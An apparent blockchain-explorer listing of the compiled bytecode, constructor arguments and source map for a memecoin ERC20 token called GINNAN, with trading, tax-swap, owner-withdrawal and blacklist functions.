b565b60006117888385611bf6565b9050826117958583611c0d565b1461070c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161073d565b600061070c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611870565b600061070c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ce8565b600081836118915760405162461bcd60e51b815260040161073d919061189e565b506000610d198486611c0d565b600060208083528351808285015260005b818110156118cb578581018301518582016040015282016118af565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a6d57600080fd5b803561190c816118ec565b919050565b6000806040838503121561192457600080fd5b823561192f816118ec565b946020939093013593505050565b60008060006060848603121561195257600080fd5b833561195d816118ec565b9250602084013561196d816118ec565b929592945050506040919091013590565b60006020828403121561199057600080fd5b813561070c816118ec565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119c457600080fd5b823567ffffffffffffffff808211156119dc57600080fd5b818501915085601f8301126119f057600080fd5b813581811115611a0257611a0261199b565b8060051b604051601f19603f83011681018181108582111715611a2757611a2761199b565b604052918252848201925083810185019188831115611a4557600080fd5b938501935b82851015611a6a57611a5b85611901565b84529385019392850192611a4a565b98975050505050505050565b60008060408385031215611a8957600080fd5b8235611a94816118ec565b91506020830135611aa4816118ec565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b600060208284031215611ae157600080fd5b815161070c816118ec565b600080600060608486031215611b0157600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611b5857611b58611b30565b5060010190565b8181038181111561064b5761064b611b30565b8082018082111561064b5761064b611b30565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bd55784516001600160a01b031683529383019391830191600101611bb0565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761064b5761064b611b30565b600082611c2a57634e487b7160e01b600052601260045260246000fd5b50049056fea26469706673582212208bef8c761f115d676cdbfbe6289e89d9c065a600b32042ffff70995e09381e1664736f6c634300081300330000000000000000000000005a189edab2b6eec71c8d3cd5a512b283d2fb9fae

Deployed Bytecode

0x6080604052600436106101c65760003560e01c80636ddd1713116100f7578063bcece8e511610095578063e904b4e911610064578063e904b4e914610556578063f7b84a4b14610576578063f887ea401461058b578063fb7979c6146105ab57600080fd5b8063bcece8e5146104bb578063cf81e4d9146104d0578063d8bb40c0146104f0578063dd62ed3e1461051057600080fd5b8063893d20e8116100d1578063893d20e81461041a57806395d89b411461044c578063a8aa1b311461047b578063a9059cbb1461049b57600080fd5b80636ddd1713146103ae57806370a08231146103cf578063715018a61461040557600080fd5b806329ef1cf6116101645780633eaaf86b1161013e5780633eaaf86b1461035657806343fee0d81461036c578063570a1877146103835780636c0a24eb1461039857600080fd5b806329ef1cf6146102f55780632f54bf6e1461030b578063313ce5671461033a57600080fd5b80630faee56f116101a05780630faee56f1461027b57806315da33341461029f57806318160ddd146102c057806323b872dd146102d557600080fd5b806306fdde03146101d257806308fd3d051461022a578063095ea7b31461025b57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b5060408051808201909152601a81527f2347494e4e414e20646120736973746572206f662024444f474500000000000060208201525b604051610221919061189e565b60405180910390f35b34801561023657600080fd5b50600e5461024b90600160b01b900460ff1681565b6040519015158152602001610221565b34801561026757600080fd5b5061024b610276366004611911565b6105e4565b34801561028757600080fd5b5061029160065481565b604051908152602001610221565b3480156102ab57600080fd5b50600e5461024b90600160a81b900460ff1681565b3480156102cc57600080fd5b50600354610291565b3480156102e157600080fd5b5061024b6102f036600461193d565b610651565b34801561030157600080fd5b5061029160055481565b34801561031757600080fd5b5061024b61032636600461197e565b6000546001600160a01b0391821691161490565b34801561034657600080fd5b5060405160128152602001610221565b34801561036257600080fd5b5061029160035481565b34801561037857600080fd5b50610381610713565b005b34801561038f57600080fd5b506103816109ce565b3480156103a457600080fd5b5061029160045481565b3480156103ba57600080fd5b50600e5461024b90600160a01b900460ff1681565b3480156103db57600080fd5b506102916103ea36600461197e565b6001600160a01b031660009081526007602052604090205490565b34801561041157600080fd5b50610381610a70565b34801561042657600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610221565b34801561045857600080fd5b5060408051808201909152600681526523a4a72720a760d11b6020820152610214565b34801561048757600080fd5b50600d54610434906001600160a01b031681565b3480156104a757600080fd5b5061024b6104b6366004611911565b610adf565b3480156104c757600080fd5b50610381610aec565b3480156104dc57600080fd5b50600c54610434906001600160a01b031681565b3480156104fc57600080fd5b5061038161050b3660046119b1565b610b89565b34801561051c57600080fd5b5061029161052b366004611a76565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b34801561056257600080fd5b506103816105713660046119b1565b610c1f565b34801561058257600080fd5b5061024b610cb1565b34801561059757600080fd5b50600e54610434906001600160a01b031681565b3480156105b757600080fd5b5061024b6105c636600461197e565b6001600160a01b03166000908152600b602052604090205460ff1690565b3360008181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061063f9086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383166000908152600860209081526040808320338452909152812054600019146106fe576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526008825283812033825290915291909120546106d9918490610ce8565b6001600160a01b03851660009081526008602090815260408083203384529091529020555b610709848484610d22565b90505b9392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161073d90611aaf565b60405180910390fd5b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156107aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ce9190611acf565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610830573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108549190611acf565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c59190611acf565b600d80546001600160a01b0319166001600160a01b039283169081179091556000908152600a60209081526040808320805460ff191660011790553080845260088352818420600e805487168652908452828520600019905554818552600790935292205492169163f305d7199147916000805460405160e087901b6001600160e01b03191681526001600160a01b03948516600482015260248101939093526044830182905260648301919091529190911660848201524260a482015260c40160606040518083038185885af11580156109a4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109c99190611aec565b505050565b6000546001600160a01b031633146109f85760405162461bcd60e51b815260040161073d90611aaf565b60004711610a415760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b604482015260640161073d565b60405133904780156108fc02916000818181858888f19350505050158015610a6d573d6000803e3d6000fd5b50565b6000546001600160a01b03163314610a9a5760405162461bcd60e51b815260040161073d90611aaf565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b600061070c338484610d22565b6000546001600160a01b03163314610b165760405162461bcd60e51b815260040161073d90611aaf565b600e54600160b01b900460ff1615610b705760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161073d565b600e805462ffffff60a01b19166201010160a01b179055565b6000546001600160a01b03163314610bb35760405162461bcd60e51b815260040161073d90611aaf565b60005b8151811015610c1b576000600b6000848481518110610bd757610bd7611b1a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610c1381611b46565b915050610bb6565b5050565b6000546001600160a01b03163314610c495760405162461bcd60e51b815260040161073d90611aaf565b60005b8151811015610c1b576001600b6000848481518110610c6d57610c6d611b1a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610ca981611b46565b915050610c4c565b600080546001600160a01b03163314610cdc5760405162461bcd60e51b815260040161073d90611aaf565b50600354600455600190565b60008184841115610d0c5760405162461bcd60e51b815260040161073d919061189e565b506000610d198486611b5f565b95945050505050565b60006001600160a01b038416610d885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161073d565b6001600160a01b038316610dea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161073d565b60008211610e4c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161073d565b6001600160a01b0384166000908152600b6020526040812054819060ff16158015610e9057506001600160a01b0385166000908152600b602052604090205460ff16155b610e9957600080fd5b60165460ff1615610eb857610eaf868686611071565b9250505061070c565b6001600160a01b03861660009081526009602052604090205460ff16158015610efa57506001600160a01b03851660009081526009602052604090205460ff16155b15610f4f57600e54600160b01b900460ff16610f4f5760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b604482015260640161073d565b600e54600160a01b900460ff16610f6b57610eaf868686611071565b610f758686611157565b15611029576001600160a01b0385166000908152600a602052604090205460ff1680610fc657506004546001600160a01b038616600090815260076020526040902054610fc3908690611b72565b11155b6110205760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b606482015260840161073d565b611029866111d4565b6110338686611202565b809250819350505061104982828660055461127b565b1561105757611057846112e9565b61106486868684866114af565b5060019695505050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526007909152918220546110c2918490610ce8565b6001600160a01b0380861660009081526007602052604080822093909355908516815220546110f190836115b1565b6001600160a01b0380851660008181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111459086815260200190565b60405180910390a35060019392505050565b600d546000906001600160a01b0383811691161480159061118657506002546001600160a01b03838116911614155b80156111ab57506001600160a01b03831660009081526009602052604090205460ff16155b801561070c5750506001600160a01b031660009081526009602052604090205460ff1615919050565b600d546001600160a01b0390811690821603610a6d57601580549060006111fa83611b46565b919050555050565b60008060008061122b866001600160a01b031660009081526009602052604090205460ff161590565b600d549091506001600160a01b039081169086160361124d5760029150611271565b600d546001600160a01b039081169087160361126c5760019150611271565b600091505b9590945092505050565b30600090815260076020526040812054829084906000838211801561129f57508383115b60165490915060ff161580156112b25750885b80156112be5750600188115b80156112c75750805b80156112dc5750600e54600160a01b900460ff165b9998505050505050505050565b6016805460ff19166001179055306000908152600760205260408120549050600061131f8361131a84600654611610565b611610565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061135957611359611b1a565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d69190611acf565b816001815181106113e9576113e9611b1a565b6001600160a01b039283166020918202929092010152600e5460405163791ac94760e01b815291169063791ac9479061142f908590600090869030904290600401611b85565b600060405180830381600087803b15801561144957600080fd5b505af115801561145d573d6000803e3d6000fd5b5050600c546040514793506001600160a01b03909116915082156108fc029083906000818181858888f1935050505015801561149d573d6000803e3d6000fd5b50506016805460ff1916905550505050565b60008060006114bf858588611625565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038d1660009081526007909152919091205492945090925061151891908490610ce8565b6001600160a01b03808a16600090815260076020526040808220939093559089168152205461154790826115b1565b6001600160a01b0380891660008181526007602052604090819020939093559151908a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061159b908a815260200190565b60405180910390a3506001979650505050505050565b6000806115be8385611b72565b90508381101561070c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161073d565b600081831161161f578261070c565b50919050565b60008060008461165657600e54600160a81b900460ff166116465783611658565b611651868686611697565b611658565b835b600e54909150600090600160a81b900460ff1680156116745750855b61167e5784611689565b611689878787611697565b919791965090945050505050565b600080606484156116f55760018611156116c957601454601554116116be576010546116c2565b6012545b91506116fa565b85156116ec57601354601554116116e257600f546116c2565b60115491506116fa565b600091506116fa565b600191505b60006117108261170a878661176a565b906117ec565b3060009081526007602052604090205490915061172d90826115b1565b30600090815260076020526040902055856117515761174c85846117ec565b611753565b805b905061175f858261182e565b979650505050505050565b60008260000361177c5750600061064b565b60006117888385611bf6565b9050826117958583611c0d565b1461070c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161073d565b600061070c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611870565b600061070c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ce8565b600081836118915760405162461bcd60e51b815260040161073d919061189e565b506000610d198486611c0d565b600060208083528351808285015260005b818110156118cb578581018301518582016040015282016118af565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a6d57600080fd5b803561190c816118ec565b919050565b6000806040838503121561192457600080fd5b823561192f816118ec565b946020939093013593505050565b60008060006060848603121561195257600080fd5b833561195d816118ec565b9250602084013561196d816118ec565b929592945050506040919091013590565b60006020828403121561199057600080fd5b813561070c816118ec565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119c457600080fd5b823567ffffffffffffffff808211156119dc57600080fd5b818501915085601f8301126119f057600080fd5b813581811115611a0257611a0261199b565b8060051b604051601f19603f83011681018181108582111715611a2757611a2761199b565b604052918252848201925083810185019188831115611a4557600080fd5b938501935b82851015611a6a57611a5b85611901565b84529385019392850192611a4a565b98975050505050505050565b60008060408385031215611a8957600080fd5b8235611a94816118ec565b91506020830135611aa4816118ec565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b600060208284031215611ae157600080fd5b815161070c816118ec565b600080600060608486031215611b0157600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611b5857611b58611b30565b5060010190565b8181038181111561064b5761064b611b30565b8082018082111561064b5761064b611b30565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bd55784516001600160a01b031683529383019391830191600101611bb0565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761064b5761064b611b30565b600082611c2a57634e487b7160e01b600052601260045260246000fd5b50049056fea26469706673582212208bef8c761f115d676cdbfbe6289e89d9c065a600b32042ffff70995e09381e1664736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000005a189edab2b6eec71c8d3cd5a512b283d2fb9fae

-----Decoded View---------------
Arg [0] : GINNANWallet (address): 0x5a189eDab2B6Eec71c8D3CD5a512B283D2fb9fAe

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000005a189edab2b6eec71c8d3cd5a512b283d2fb9fae


Deployed Bytecode Sourcemap

4993:9349:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10761:82;;;;;;;;;;-1:-1:-1;10834:5:0;;;;;;;;;;;;;;;;;10761:82;;;;;;;:::i;:::-;;;;;;;;5960:31;;;;;;;;;;-1:-1:-1;5960:31:0;;;;-1:-1:-1;;;5960:31:0;;;;;;;;;732:14:1;;725:22;707:41;;695:2;680:18;5960:31:0;567:187:1;7420:192:0;;;;;;;;;;-1:-1:-1;7420:192:0;;;;;:::i;:::-;;:::i;5509:52::-;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;5509:52:0;1354:177:1;5921:36:0;;;;;;;;;;-1:-1:-1;5921:36:0;;;;-1:-1:-1;;;5921:36:0;;;;;;10939:90;;;;;;;;;;-1:-1:-1;11013:12:0;;10939:90;;13625:350;;;;;;;;;;-1:-1:-1;13625:350:0;;;;;:::i;:::-;;:::i;5442:64::-;;;;;;;;;;;;;;;;2325:91;;;;;;;;;;-1:-1:-1;2325:91:0;;;;;:::i;:::-;2380:4;2407:5;-1:-1:-1;;;;;2396:16:0;;;2407:5;;2396:16;;2325:91;8172:82;;;;;;;;;;-1:-1:-1;8172:82:0;;5312:2;2391:36:1;;2379:2;2364:18;8172:82:0;2249:184:1;5319:59:0;;;;;;;;;;;;;;;;10325:432;;;;;;;;;;;;;:::i;:::-;;7243:173;;;;;;;;;;;;;:::i;5381:58::-;;;;;;;;;;;;;;;;5887:31;;;;;;;;;;-1:-1:-1;5887:31:0;;;;-1:-1:-1;;;5887:31:0;;;;;;6823:107;;;;;;;;;;-1:-1:-1;6823:107:0;;;;;:::i;:::-;-1:-1:-1;;;;;6908:18:0;6889:7;6908:18;;;:9;:18;;;;;;;6823:107;2420:111;;;;;;;;;;;;;:::i;6739:80::-;;;;;;;;;;-1:-1:-1;6791:7:0;6810:5;-1:-1:-1;;;;;6810:5:0;6739:80;;;-1:-1:-1;;;;;2602:32:1;;;2584:51;;2572:2;2557:18;6739:80:0;2438:203:1;11507:86:0;;;;;;;;;;-1:-1:-1;11582:7:0;;;;;;;;;;;;-1:-1:-1;;;11582:7:0;;;;11507:86;;5826:19;;;;;;;;;;-1:-1:-1;5826:19:0;;;;-1:-1:-1;;;;;5826:19:0;;;13977:158;;;;;;;;;;-1:-1:-1;13977:158:0;;;;;:::i;:::-;;:::i;7616:170::-;;;;;;;;;;;;;:::i;5795:28::-;;;;;;;;;;-1:-1:-1;5795:28:0;;;;-1:-1:-1;;;;;5795:28:0;;;12241:151;;;;;;;;;;-1:-1:-1;12241:151:0;;;;;:::i;:::-;;:::i;10181:140::-;;;;;;;;;;-1:-1:-1;10181:140:0;;;;;:::i;:::-;-1:-1:-1;;;;;10289:19:0;;;10269:7;10289:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;10181:140;12090:147;;;;;;;;;;-1:-1:-1;12090:147:0;;;;;:::i;:::-;;:::i;8769:115::-;;;;;;;;;;;;;:::i;5850:32::-;;;;;;;;;;-1:-1:-1;5850:32:0;;;;-1:-1:-1;;;;;5850:32:0;;;12396:79;;;;;;;;;;-1:-1:-1;12396:79:0;;;;;:::i;:::-;-1:-1:-1;;;;;12461:10:0;12446:4;12461:10;;;:7;:10;;;;;;;;;12396:79;7420:192;7520:10;7498:4;7508:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;7508:32:0;;;;;;;;;;:41;;;7557:37;7498:4;;7508:32;;7557:37;;;;7543:6;1500:25:1;;1488:2;1473:18;;1354:177;7557:37:0;;;;;;;;-1:-1:-1;7604:4:0;7420:192;;;;;:::o;13625:350::-;-1:-1:-1;;;;;13744:19:0;;13731:4;13744:19;;;:11;:19;;;;;;;;13764:10;13744:31;;;;;;;;-1:-1:-1;;13744:52:0;13740:170;;13835:71;;;;;;;;;;;-1:-1:-1;;;13835:71:0;;;;;;;;-1:-1:-1;;;;;13835:19:0;;-1:-1:-1;13835:19:0;;;:11;:19;;;;;13855:10;13835:31;;;;;;;;;;:71;;13873:6;;13835:37;:71::i;:::-;-1:-1:-1;;;;;13801:19:0;;;;;;:11;:19;;;;;;;;13821:10;13801:31;;;;;;;:105;13740:170;13921:50;13945:6;13953:9;13964:6;13921:23;:50::i;:::-;13914:57;;13625:350;;;;;;:::o;10325:432::-;2380:4;2407:5;-1:-1:-1;;;;;2407:5:0;2291:10;2396:16;2275:38;;;;-1:-1:-1;;;2275:38:0;;;;;;;:::i;:::-;;;;;;;;;10376:6:::1;:71:::0;;-1:-1:-1;;;;;;10376:71:0::1;10404:42;10376:71:::0;;::::1;::::0;;;10475:16:::1;::::0;;-1:-1:-1;;;10475:16:0;;;;:14:::1;::::0;:16:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;10404:42;10475:16:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10457:46:0::1;;10512:4;10519:6;;;;;;;;;-1:-1:-1::0;;;;;10519:6:0::1;-1:-1:-1::0;;;;;10519:11:0::1;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10457:76;::::0;-1:-1:-1;;;;;;10457:76:0::1;::::0;;;;;;-1:-1:-1;;;;;5351:15:1;;;10457:76:0::1;::::0;::::1;5333:34:1::0;5403:15;;5383:18;;;5376:43;5268:18;;10457:76:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10450:4;:83:::0;;-1:-1:-1;;;;;;10450:83:0::1;-1:-1:-1::0;;;;;10450:83:0;;::::1;::::0;;::::1;::::0;;;-1:-1:-1;10536:21:0;;;:15:::1;:21;::::0;;;;;;;:28;;-1:-1:-1;;10536:28:0::1;-1:-1:-1::0;10536:28:0::1;::::0;;10589:4:::1;10569:26:::0;;;:11:::1;:26:::0;;;;;10604:6:::1;::::0;;;::::1;10569:43:::0;;;;;;;;-1:-1:-1;;10569:63:0;;10635:6;6908:18;;;:9;:18;;;;;;10635:6;::::1;::::0;:22:::1;::::0;10665:21:::1;::::0;10727:1:::1;10731:5:::0;;10635:118:::1;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10635:118:0;;;-1:-1:-1;;;;;5789:15:1;;;10635:118:0::1;::::0;::::1;5771:34:1::0;5821:18;;;5814:34;;;;5864:18;;;5857:34;;;5907:18;;;5900:34;;;;10731:5:0;;;::::1;5950:19:1::0;;;5943:44;10737:15:0::1;6003:19:1::0;;;5996:35;5705:19;;10635:118:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;10325:432::o:0;7243:173::-;2380:4;2407:5;-1:-1:-1;;;;;2407:5:0;2291:10;2396:16;2275:38;;;;-1:-1:-1;;;2275:38:0;;;;;;;:::i;:::-;7330:1:::1;7306:21;:25;7298:60;;;::::0;-1:-1:-1;;;7298:60:0;;6555:2:1;7298:60:0::1;::::0;::::1;6537:21:1::0;6594:2;6574:18;;;6567:30;-1:-1:-1;;;6613:18:1;;;6606:52;6675:18;;7298:60:0::1;6353:346:1::0;7298:60:0::1;7361:51;::::0;7369:10:::1;::::0;7390:21:::1;7361:51:::0;::::1;;;::::0;::::1;::::0;;;7390:21;7369:10;7361:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;7243:173::o:0;2420:111::-;2380:4;2407:5;-1:-1:-1;;;;;2407:5:0;2291:10;2396:16;2275:38;;;;-1:-1:-1;;;2275:38:0;;;;;;;:::i;:::-;2485:1:::1;2469:18:::0;;-1:-1:-1;;;;;;2469:18:0::1;::::0;;2495:32:::1;::::0;2584:51:1;;;2495:32:0::1;::::0;2572:2:1;2557:18;2495:32:0::1;;;;;;;2420:111::o:0;13977:158::-;14060:4;14077:54;14101:10;14113:9;14124:6;14077:23;:54::i;7616:170::-;2380:4;2407:5;-1:-1:-1;;;;;2407:5:0;2291:10;2396:16;2275:38;;;;-1:-1:-1;;;2275:38:0;;;;;;;:::i;:::-;7674:11:::1;::::0;-1:-1:-1;;;7674:11:0;::::1;;;7673:12;7665:47;;;::::0;-1:-1:-1;;;7665:47:0;;6906:2:1;7665:47:0::1;::::0;::::1;6888:21:1::0;6945:2;6925:18;;;6918:30;6984:25;6964:18;;;6957:53;7027:18;;7665:47:0::1;6704:347:1::0;7665:47:0::1;7717:11;:18:::0;;-1:-1:-1;;;;7764:18:0;-1:-1:-1;;;7764:18:0;;;7616:170::o;12241:151::-;2380:4;2407:5;-1:-1:-1;;;;;2407:5:0;2291:10;2396:16;2275:38;;;;-1:-1:-1;;;2275:38:0;;;;;;;:::i;:::-;12314:6:::1;12309:80;12330:9;:16;12326:1;:20;12309:80;;;12380:5;12356:7;:21;12364:9;12374:1;12364:12;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;12356:21:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;12356:21:0;:29;;-1:-1:-1;;12356:29:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12348:3;::::1;::::0;::::1;:::i;:::-;;;;12309:80;;;;12241:151:::0;:::o;12090:147::-;2380:4;2407:5;-1:-1:-1;;;;;2407:5:0;2291:10;2396:16;2275:38;;;;-1:-1:-1;;;2275:38:0;;;;;;;:::i;:::-;12162:6:::1;12157:77;12178:8;:15;12174:1;:19;12157:77;;;12226:4;12203:7;:20;12211:8;12220:1;12211:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;12203:20:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;12203:20:0;:27;;-1:-1:-1;;12203:27:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12195:3;::::1;::::0;::::1;:::i;:::-;;;;12157:77;;8769:115:::0;8826:4;2407:5;;-1:-1:-1;;;;;2407:5:0;2291:10;2396:16;2275:38;;;;-1:-1:-1;;;2275:38:0;;;;;;;:::i;:::-;-1:-1:-1;8854:12:0::1;::::0;8835:16:::1;:31:::0;8876:4:::1;8769:115:::0;:::o;576:168::-;668:7;696:12;688:6;;;;680:29;;;;-1:-1:-1;;;680:29:0;;;;;;;;:::i;:::-;-1:-1:-1;712:9:0;724:5;728:1;724;:5;:::i;:::-;712:17;576:168;-1:-1:-1;;;;;576:168:0:o;12479:1141::-;12587:4;-1:-1:-1;;;;;12606:20:0;;12598:70;;;;-1:-1:-1;;;12598:70:0;;7795:2:1;12598:70:0;;;7777:21:1;7834:2;7814:18;;;7807:30;7873:34;7853:18;;;7846:62;-1:-1:-1;;;7924:18:1;;;7917:35;7969:19;;12598:70:0;7593:401:1;12598:70:0;-1:-1:-1;;;;;12679:23:0;;12671:71;;;;-1:-1:-1;;;12671:71:0;;8201:2:1;12671:71:0;;;8183:21:1;8240:2;8220:18;;;8213:30;8279:34;8259:18;;;8252:62;-1:-1:-1;;;8330:18:1;;;8323:33;8373:19;;12671:71:0;7999:399:1;12671:71:0;12762:1;12753:6;:10;12745:64;;;;-1:-1:-1;;;12745:64:0;;8605:2:1;12745:64:0;;;8587:21:1;8644:2;8624:18;;;8617:30;8683:34;8663:18;;;8656:62;-1:-1:-1;;;8734:18:1;;;8727:39;8783:19;;12745:64:0;8403:405:1;12745:64:0;-1:-1:-1;;;;;12855:15:0;;12814:12;12855:15;;;:7;:15;;;;;;12814:12;;12855:15;;12854:16;:39;;;;-1:-1:-1;;;;;;12875:18:0;;;;;;:7;:18;;;;;;;;12874:19;12854:39;12846:48;;;;;;12903:6;;;;12899:67;;;12921:41;12936:6;12944:9;12955:6;12921:14;:41::i;:::-;12914:48;;;;;;12899:67;-1:-1:-1;;;;;12974:19:0;;;;;;:11;:19;;;;;;;;12973:20;:47;;;;-1:-1:-1;;;;;;12998:22:0;;;;;;:11;:22;;;;;;;;12997:23;12973:47;12970:101;;;13032:11;;-1:-1:-1;;;13032:11:0;;;;13024:43;;;;-1:-1:-1;;;13024:43:0;;9015:2:1;13024:43:0;;;8997:21:1;9054:2;9034:18;;;9027:30;-1:-1:-1;;;9073:18:1;;;9066:50;9133:18;;13024:43:0;8813:344:1;13024:43:0;13079:11;;-1:-1:-1;;;13079:11:0;;;;13075:72;;13102:41;13117:6;13125:9;13136:6;13102:14;:41::i;13075:72::-;13153:34;13169:6;13177:9;13153:15;:34::i;:::-;13149:211;;;-1:-1:-1;;;;;13202:26:0;;;;;;:15;:26;;;;;;;;;:80;;-1:-1:-1;13266:16:0;;-1:-1:-1;;;;;13233:20:0;;;;;;:9;:20;;;;;;:29;;13256:6;;13233:29;:::i;:::-;:49;;13202:80;13192:135;;;;-1:-1:-1;;;13192:135:0;;9494:2:1;13192:135:0;;;9476:21:1;9533:2;9513:18;;;9506:30;9572:34;9552:18;;;9545:62;-1:-1:-1;;;9623:18:1;;;9616:35;9668:19;;13192:135:0;9292:401:1;13192:135:0;13332:24;13349:6;13332:16;:24::i;:::-;13385:38;13405:6;13413:9;13385:19;:38::i;:::-;13364:59;;;;;;;;13432:67;13451:7;13460;13469:6;13477:21;;13432:18;:67::i;:::-;13428:107;;;13504:27;13524:6;13504:19;:27::i;:::-;13539:63;13558:6;13566:9;13577:6;13585:7;13594;13539:18;:63::i;:::-;-1:-1:-1;13612:4:0;;12479:1141;-1:-1:-1;;;;;;12479:1141:0:o;6934:305::-;7062:58;;;;;;;;;;;-1:-1:-1;;;7062:58:0;;;;;;;;-1:-1:-1;;;;;7062:17:0;;7033:4;7062:17;;;:9;:17;;;;;;;:58;;7086:6;;7062:21;:58::i;:::-;-1:-1:-1;;;;;7042:17:0;;;;;;;:9;:17;;;;;;:78;;;;7146:20;;;;;;;:32;;7171:6;7146:24;:32::i;:::-;-1:-1:-1;;;;;7123:20:0;;;;;;;:9;:20;;;;;;;:55;;;;7186:35;;;;;;;;;;7214:6;1500:25:1;;1488:2;1473:18;;1354:177;7186:35:0;;;;;;;;-1:-1:-1;